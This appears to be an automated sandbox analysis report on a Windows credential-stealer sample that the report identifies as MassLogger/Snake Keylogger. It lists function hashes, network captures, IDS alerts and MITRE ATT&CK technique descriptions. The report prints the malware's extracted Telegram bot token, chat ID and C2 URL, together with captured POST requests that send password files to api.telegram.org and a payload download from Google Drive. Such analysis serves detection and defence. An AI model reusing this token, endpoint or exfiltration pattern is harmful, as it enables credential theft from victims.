Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 000D1A40 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xbq, xrefs: 000D1B2F
Xbq, xrefs: 000D1B7C
Xbq, xrefs: 000D1A76
Xbq, xrefs: 000D1AB0

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: f7249ec8f52246e02c850963d6eb27be0e5ee95823f3f58c34068b7f07f1e5e3
Instruction ID: 955d620fe784e23b832230279e86946ca3ae641ca7a9be1ab67fa2414016adec
Opcode Fuzzy Hash: f7249ec8f52246e02c850963d6eb27be0e5ee95823f3f58c34068b7f07f1e5e3
Instruction Fuzzy Hash: EC315230E013199BDFA48BA985443EEB6E6AB94310F1445BBD419A7395EF30CD80CFA2

Function 000D58E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 000D591A
\;^q, xrefs: 000D5926
\;^q, xrefs: 000D58FE
\;^q, xrefs: 000D58F4

Memory Dump Source

Source File: 00000004.00000002.2928370071.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 7692cf75bba3f7e2e31f03dabb8574c4aa19ef728738e9929e8f42fb3240bb61
Instruction ID: 124d2704856cc8c2caa6eff0b50817533a028963eee8335afdeaf5e5e7fa8562
Opcode Fuzzy Hash: 7692cf75bba3f7e2e31f03dabb8574c4aa19ef728738e9929e8f42fb3240bb61
Instruction Fuzzy Hash: EA01D831740A05DFCBA48E2CC864929B3EBAF88B727254467D846CF3B0DA31DC4187A0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: ZaRP7yvL1J.exe.3052.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805D1EC CryptUnprotectData,		4_2_3805D1EC
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_3805D9D9 CryptUnprotectData,		4_2_3805D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49968 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49968 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50032 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31dfbf4d9096Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f77526aea5Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320c50c52ce9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd321fbad14072Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3240e3413414Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3255893946b1Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd327ea937c2a5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3293232591ddHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32b9327f2f0cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32dc5952d48dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32ff5404f1e0Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3318c7ad4f72Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd333777302c9aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 38050671h	4_2_380503C4
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 38051042h	4_2_38050C28
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805C985h	4_2_3805C638
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805F2F8h	4_2_3805F042
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805B339h	4_2_3805B08A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805BBE9h	4_2_3805B930
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805C499h	4_2_3805C1F2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805DD40h	4_2_3805DA89
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805E5F0h	4_2_3805E33D
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805EEA0h	4_2_3805EBF2
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 38051042h	4_2_38050C1A
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805B791h	4_2_3805B4EC
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805C041h	4_2_3805BD88
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805E198h	4_2_3805DEE5
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 38051042h	4_2_38050F6F
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 3805EA48h	4_2_3805E794
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then push 00000000h	4_2_387ABDF0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A882Dh	4_2_387A8650
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A91B7h	4_2_387A8650
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A7318h	4_2_387A7070
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A1B00h	4_2_387A1858
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A4ACAh	4_2_387A4820
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A23B0h	4_2_387A2108
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A2C60h	4_2_387A29B8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A3510h	4_2_387A3268
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A54B0h	4_2_387A5208
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A5D60h	4_2_387A5AB8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A6610h	4_2_387A6368
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_387A7B4F
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A3DC0h	4_2_387A3B18
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A4670h	4_2_387A43C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A6EC0h	4_2_387A6C18
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A16A8h	4_2_387A1400
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A7770h	4_2_387A74C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A1F58h	4_2_387A1CB0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A2808h	4_2_387A2560
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A5058h	4_2_387A4DB0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A5908h	4_2_387A5660
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A30B8h	4_2_387A2E10
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A3968h	4_2_387A36C0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A4218h	4_2_387A3F70
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A61B8h	4_2_387A5F10
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A6A68h	4_2_387A67C0
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then jmp 387A1250h	4_2_387A0FA8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then push 00000000h	4_2_390EE7C8
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then push 00000000h	4_2_390EF316
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	4_2_390EF5D8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49978 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49991 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49892 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49855 -> 142.250.186.142:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
